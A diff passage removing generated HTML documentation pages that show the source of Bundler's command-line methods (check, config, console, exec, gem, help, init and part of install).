-100:         <span class="ruby-identifier">not_installed</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">definition</span>.<span class="ruby-identifier">missing_specs</span>
-101:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-constant">VersionConflict</span>
-102:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-value str">&quot;Your Gemfile's dependencies could not be satisfied&quot;</span>
-103:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span>  <span class="ruby-value str">&quot;Install missing gems with `bundle install`&quot;</span>
-104:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-105:       <span class="ruby-keyword kw">end</span>
-106: 
-107:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">not_installed</span>.<span class="ruby-identifier">any?</span>
-108:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-value str">&quot;The following gems are missing&quot;</span>
-109:         <span class="ruby-identifier">not_installed</span>.<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot; * #{s.name} (#{s.version})&quot;</span> }
-110:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;Install missing gems with `bundle install`&quot;</span>
-111:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-112:       <span class="ruby-keyword kw">else</span>
-113:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load</span>.<span class="ruby-identifier">lock</span>
-114:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;The Gemfile's dependencies are satisfied&quot;</span>
-115:       <span class="ruby-keyword kw">end</span>
-116:     <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">config</span><span
-						class="method-args">(name = nil, *args)</span>
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-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 369</span>
-369:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">config</span>(<span class="ruby-identifier">name</span> = <span class="ruby-keyword kw">nil</span>, *<span class="ruby-identifier">args</span>)
-370:       <span class="ruby-identifier">values</span> = <span class="ruby-constant">ARGV</span>.<span class="ruby-identifier">dup</span>
-371:       <span class="ruby-identifier">values</span>.<span class="ruby-identifier">shift</span> <span class="ruby-comment cmt"># remove config</span>
-372:       <span class="ruby-identifier">values</span>.<span class="ruby-identifier">shift</span> <span class="ruby-comment cmt"># remove the name</span>
-373: 
-374:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">name</span>
-375:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;Settings are listed in order of priority. The top value will be used.\n&quot;</span>
-376: 
-377:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">all</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">setting</span><span class="ruby-operator">|</span>
-378:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;#{setting}&quot;</span>
-379:           <span class="ruby-identifier">with_padding</span> <span class="ruby-keyword kw">do</span>
-380:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">pretty_values_for</span>(<span class="ruby-identifier">setting</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span>
-381:               <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-identifier">line</span>
-382:             <span class="ruby-keyword kw">end</span>
-383:           <span class="ruby-keyword kw">end</span>
-384:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-value str">&quot;&quot;</span>
-385:         <span class="ruby-keyword kw">end</span>
-386:         <span class="ruby-keyword kw">return</span>
-387:       <span class="ruby-keyword kw">end</span>
-388: 
-389:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">values</span>.<span class="ruby-identifier">empty?</span>
-390:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">confirm</span> <span class="ruby-node">&quot;Settings for `#{name}` in order of priority. The top value will be used&quot;</span>
-391:         <span class="ruby-identifier">with_padding</span> <span class="ruby-keyword kw">do</span>
-392:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">pretty_values_for</span>(<span class="ruby-identifier">name</span>).<span class="ruby-identifier">each</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-identifier">line</span> }
-393:         <span class="ruby-keyword kw">end</span>
-394:       <span class="ruby-keyword kw">else</span>
-395:         <span class="ruby-identifier">locations</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">locations</span>(<span class="ruby-identifier">name</span>)
-396: 
-397:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">local</span> = <span class="ruby-identifier">locations</span>[<span class="ruby-value">:local</span>]
-398:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Your application has set #{name} to #{local.inspect}. This will override the &quot;</span>              <span class="ruby-value str">&quot;system value you are currently setting&quot;</span>
-399:         <span class="ruby-keyword kw">end</span>
-400: 
-401:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">global</span> = <span class="ruby-identifier">locations</span>[<span class="ruby-value">:global</span>]
-402:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;You are replacing the current system value of #{name}, which is currently #{global}&quot;</span>
-403:         <span class="ruby-keyword kw">end</span>
-404: 
-405:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">env</span> = <span class="ruby-identifier">locations</span>[<span class="ruby-value">:env</span>]
-406:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;You have set a bundler environment variable for #{env}. This will take precedence &quot;</span>              <span class="ruby-value str">&quot;over the system value you are setting&quot;</span>
-407:         <span class="ruby-keyword kw">end</span>
-408: 
-409:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>.<span class="ruby-identifier">set_global</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">values</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot; &quot;</span>))
-410:       <span class="ruby-keyword kw">end</span>
-411:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="console-method" class="method-detail ">
-				<a name="method-i-console"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">console</span><span
-						class="method-args">(group = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				</div>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 431</span>
-431:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">console</span>(<span class="ruby-identifier">group</span> = <span class="ruby-keyword kw">nil</span>)
-432:       <span class="ruby-identifier">group</span> <span class="ruby-operator">?</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">require</span>(<span class="ruby-value">:default</span>, *(<span class="ruby-identifier">group</span>.<span class="ruby-identifier">split</span>.<span class="ruby-identifier">map!</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> })) <span class="ruby-operator">:</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">require</span>
-433:       <span class="ruby-constant">ARGV</span>.<span class="ruby-identifier">clear</span>
-434: 
-435:       <span class="ruby-identifier">require</span> <span class="ruby-value str">'irb'</span>
-436:       <span class="ruby-constant">IRB</span>.<span class="ruby-identifier">start</span>
-437:     <span class="ruby-keyword kw">end</span></pre>
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-			<div id="exec-method" class="method-detail ">
-				<a name="method-i-exec"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">exec</span><span
-						class="method-args">(*)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-					<div class="method-source-code"
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 339</span>
-339:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">exec</span>(*)
-340:       <span class="ruby-constant">ARGV</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;exec&quot;</span>)
-341: 
-342:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">setup</span>
-343: 
-344:       <span class="ruby-keyword kw">begin</span>
-345:         <span class="ruby-comment cmt"># Run</span>
-346:         <span class="ruby-constant">Kernel</span>.<span class="ruby-identifier">exec</span>(*<span class="ruby-constant">ARGV</span>)
-347:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Errno</span><span class="ruby-operator">::</span><span class="ruby-constant">EACCES</span>
-348:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;bundler: not executable: #{ARGV.first}&quot;</span>
-349:         <span class="ruby-identifier">exit</span> <span class="ruby-value">126</span>
-350:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Errno</span><span class="ruby-operator">::</span><span class="ruby-constant">ENOENT</span>
-351:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;bundler: command not found: #{ARGV.first}&quot;</span>
-352:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span>  <span class="ruby-value str">&quot;Install missing gem binaries with `bundle install`&quot;</span>
-353:         <span class="ruby-identifier">exit</span> <span class="ruby-value">127</span>
-354:       <span class="ruby-keyword kw">end</span>
-355:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-gem"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">gem</span><span
-						class="method-args">(name)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 477</span>
-477:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">gem</span>(<span class="ruby-identifier">name</span>)
-478:       <span class="ruby-identifier">target</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">Dir</span>.<span class="ruby-identifier">pwd</span>, <span class="ruby-identifier">name</span>)
-479:       <span class="ruby-identifier">constant_name</span> = <span class="ruby-identifier">name</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'_'</span>).<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-identifier">p</span>.<span class="ruby-identifier">capitalize</span>}.<span class="ruby-identifier">join</span>
-480:       <span class="ruby-identifier">constant_name</span> = <span class="ruby-identifier">constant_name</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'-'</span>).<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">q</span><span class="ruby-operator">|</span> <span class="ruby-identifier">q</span>.<span class="ruby-identifier">capitalize</span>}.<span class="ruby-identifier">join</span>(<span class="ruby-value str">'::'</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">constant_name</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/-/</span>
-481:       <span class="ruby-identifier">constant_array</span> = <span class="ruby-identifier">constant_name</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'::'</span>)
-482:       <span class="ruby-identifier">git_author_name</span> = <span class="ruby-value">`git config user.name`</span>.<span class="ruby-identifier">chomp</span>
-483:       <span class="ruby-identifier">git_author_email</span> = <span class="ruby-value">`git config user.email`</span>.<span class="ruby-identifier">chomp</span>
-484:       <span class="ruby-identifier">author_name</span> = <span class="ruby-identifier">git_author_name</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;TODO: Write your name&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">git_author_name</span>
-485:       <span class="ruby-identifier">author_email</span> = <span class="ruby-identifier">git_author_email</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">?</span> <span class="ruby-value str">&quot;TODO: Write your email address&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-identifier">git_author_email</span>
-486:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-value str">'lib'</span>, <span class="ruby-identifier">name</span>))
-487:       <span class="ruby-identifier">opts</span> = {<span class="ruby-value">:name</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">name</span>, <span class="ruby-value">:constant_name</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">constant_name</span>, <span class="ruby-value">:constant_array</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">constant_array</span>, <span class="ruby-value">:author_name</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">author_name</span>, <span class="ruby-value">:author_email</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">author_email</span>}
-488:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/Gemfile.tt&quot;</span>),               <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-value str">&quot;Gemfile&quot;</span>),                <span class="ruby-identifier">opts</span>)
-489:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/Rakefile.tt&quot;</span>),              <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-value str">&quot;Rakefile&quot;</span>),               <span class="ruby-identifier">opts</span>)
-490:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/gitignore.tt&quot;</span>),             <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-value str">&quot;.gitignore&quot;</span>),             <span class="ruby-identifier">opts</span>)
-491:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/newgem.gemspec.tt&quot;</span>),        <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-node">&quot;#{name}.gemspec&quot;</span>),        <span class="ruby-identifier">opts</span>)
-492:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/lib/newgem.rb.tt&quot;</span>),         <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-node">&quot;lib/#{name}.rb&quot;</span>),         <span class="ruby-identifier">opts</span>)
-493:       <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/lib/newgem/version.rb.tt&quot;</span>), <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-node">&quot;lib/#{name}/version.rb&quot;</span>), <span class="ruby-identifier">opts</span>)
-494:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:bin</span>]
-495:         <span class="ruby-identifier">template</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;newgem/bin/newgem.tt&quot;</span>),          <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-identifier">target</span>, <span class="ruby-value str">'bin'</span>, <span class="ruby-identifier">name</span>),              <span class="ruby-identifier">opts</span>)
-496:       <span class="ruby-keyword kw">end</span>
-497:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Initializating git repo in #{target}&quot;</span>
-498:       <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">target</span>) { <span class="ruby-value">`git init`</span>; <span class="ruby-value">`git add .`</span> }
-499:     <span class="ruby-keyword kw">end</span></pre>
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-				</div>
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-
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-			</div>
-
-		
-			<div id="help-method" class="method-detail ">
-				<a name="method-i-help"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">help</span><span
-						class="method-args">(cli = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="help-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 25</span>
-25:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">help</span>(<span class="ruby-identifier">cli</span> = <span class="ruby-keyword kw">nil</span>)
-26:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">cli</span>
-27:       <span class="ruby-keyword kw">when</span> <span class="ruby-value str">&quot;gemfile&quot;</span> <span class="ruby-keyword kw">then</span> <span class="ruby-identifier">command</span> = <span class="ruby-value str">&quot;gemfile.5&quot;</span>
-28:       <span class="ruby-keyword kw">when</span> <span class="ruby-keyword kw">nil</span>       <span class="ruby-keyword kw">then</span> <span class="ruby-identifier">command</span> = <span class="ruby-value str">&quot;bundle&quot;</span>
-29:       <span class="ruby-keyword kw">else</span> <span class="ruby-identifier">command</span> = <span class="ruby-node">&quot;bundle-#{cli}&quot;</span>
-30:       <span class="ruby-keyword kw">end</span>
-31: 
-32:       <span class="ruby-identifier">manpages</span> = <span class="ruby-node">%(
-33:           bundle
-34:           bundle-config
-35:           bundle-exec
-36:           bundle-install
-37:           bundle-package
-38:           bundle-update
-39:           gemfile.5)</span>
-40: 
-41:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">manpages</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">command</span>)
-42:         <span class="ruby-identifier">root</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">&quot;../man&quot;</span>, <span class="ruby-keyword kw">__FILE__</span>)
-43: 
-44:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">have_groff?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">root</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp re">%{^file:/.+!/META-INF/jruby.home/.+}</span>
-45:           <span class="ruby-identifier">groff</span>   = <span class="ruby-value str">&quot;groff -Wall -mtty-char -mandoc -Tascii&quot;</span>
-46:           <span class="ruby-identifier">pager</span>   = <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'MANPAGER'</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'PAGER'</span>] <span class="ruby-operator">||</span> <span class="ruby-value str">'less -R'</span>
-47: 
-48:           <span class="ruby-constant">Kernel</span>.<span class="ruby-identifier">exec</span> <span class="ruby-node">&quot;#{groff} #{root}/#{command} | #{pager}&quot;</span>
-49:         <span class="ruby-keyword kw">else</span>
-50:           <span class="ruby-identifier">puts</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">read</span>(<span class="ruby-node">&quot;#{root}/#{command}.txt&quot;</span>)
-51:         <span class="ruby-keyword kw">end</span>
-52:       <span class="ruby-keyword kw">else</span>
-53:         <span class="ruby-keyword kw">super</span>
-54:       <span class="ruby-keyword kw">end</span>
-55:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-				
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-				
-			</div>
-
-		
-			<div id="init-method" class="method-detail ">
-				<a name="method-i-init"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">init</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="init-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">init</span>
-65:       <span class="ruby-identifier">opts</span> = <span class="ruby-identifier">options</span>.<span class="ruby-identifier">dup</span>
-66:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-value str">&quot;Gemfile&quot;</span>)
-67:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;Gemfile already exists at #{Dir.pwd}/Gemfile&quot;</span>
-68:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-69:       <span class="ruby-keyword kw">end</span>
-70: 
-71:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:gemspec</span>]
-72:         <span class="ruby-identifier">gemspec</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">opts</span>[<span class="ruby-value">:gemspec</span>])
-73:         <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">gemspec</span>)
-74:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;Gem specification #{gemspec} doesn't exist&quot;</span>
-75:           <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-76:         <span class="ruby-keyword kw">end</span>
-77:         <span class="ruby-identifier">spec</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">load</span>(<span class="ruby-identifier">gemspec</span>)
-78:         <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;Writing new Gemfile to #{Dir.pwd}/Gemfile&quot;</span>
-79:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-value str">'Gemfile'</span>, <span class="ruby-value str">'wb'</span>) <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
-80:           <span class="ruby-identifier">file</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;# Generated from #{gemspec}\n&quot;</span>
-81:           <span class="ruby-identifier">file</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">to_gemfile</span>
-82:         <span class="ruby-keyword kw">end</span>
-83:       <span class="ruby-keyword kw">else</span>
-84:         <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;Writing new Gemfile to #{Dir.pwd}/Gemfile&quot;</span>
-85:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">cp</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">'../templates/Gemfile'</span>, <span class="ruby-keyword kw">__FILE__</span>), <span class="ruby-value str">'Gemfile'</span>)
-86:       <span class="ruby-keyword kw">end</span>
-87:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				
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-				
-			</div>
-
-		
-			<div id="install-method" class="method-detail ">
-				<a name="method-i-install"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">install</span><span
-						class="method-args">(path = nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="install-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/cli.rb, line 153</span>
-153:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install</span>(<span class="ruby-identifier">path</span> = <span class="ruby-keyword kw">nil</span>)
-154:       <span class="ruby-identifier">opts</span> = <span class="ruby-identifier">options</span>.<span class="ruby-identifier">dup</span>
-155:       <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>] <span class="ruby-operator">||=</span> []
-156:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">size</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span>
-157:         <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">map!</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot; &quot;</span>) }
-158:         <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">flatten!</span>
-159:       <span class="ruby-keyword kw">end</span>
-160:       <span class="ruby-identifier">opts</span>[<span class="ruby-value">:without</span>].<span class="ruby-identifier">map!</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> }
-161: 
-162:       <span class="ruby-comment cmt"># Can't use Bundler.settings for this because settings needs gemfile.dirname</span>
-163:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'BUNDLE_GEMFILE'</span>] = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">opts</span>[<span class="ruby-value">:gemfile</span>]) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:gemfile</span>]
-164:       <span class="ruby-constant">ENV</span>[<span class="ruby-value str">'RB_USER_INSTALL'</span>] = <span class="ruby-value str">'1'</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">FREEBSD</span>
-165: 
-166:       <span class="ruby-comment cmt"># Just disable color in deployment mode</span>
-167:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">shell</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Shell</span><span class="ruby-operator">::</span><span class="ruby-constant">Basic</span>.<span class="ruby-identifier">new</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>]
-168: 
-169:       <span class="ruby-keyword kw">if</span> (<span class="ruby-identifier">path</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:path</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>]) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:system</span>]
-170:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-value str">&quot;You have specified both a path to install your gems to, \n&quot;</span>                           <span class="ruby-value str">&quot;as well as --system. Please choose.&quot;</span>
-171:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-172:       <span class="ruby-keyword kw">end</span>
-173: 
-174:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:path</span>]
-175:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-node">&quot;You have specified a path via `bundle install #{path}` as well as\n&quot;</span>                           <span class="ruby-node">&quot;by `bundle install --path #{options[:path]}`. These options are\n&quot;</span>                           <span class="ruby-value str">&quot;equivalent, so please use one or the other.&quot;</span>
-176:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-177:       <span class="ruby-keyword kw">end</span>
-178: 
-179:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value str">&quot;disable-shared-gems&quot;</span>]
-180:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">error</span> <span class="ruby-value str">&quot;The disable-shared-gem option is no longer available.\n\n&quot;</span>                           <span class="ruby-value str">&quot;Instead, use `bundle install` to install to your system,\n&quot;</span>                           <span class="ruby-value str">&quot;or `bundle install --path path/to/gems` to install to an isolated\n&quot;</span>                           <span class="ruby-value str">&quot;location. Bundler will resolve relative paths relative to\n&quot;</span>                           <span class="ruby-value str">&quot;your `Gemfile`.&quot;</span>
-181:         <span class="ruby-identifier">exit</span> <span class="ruby-value">1</span>
-182:       <span class="ruby-keyword kw">end</span>
-183: 
-184:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:deployment</span>] <span class="ruby-operator">||</span> <span class="ruby-identifier">opts</span>[<span class="ruby-value">:frozen</span>]
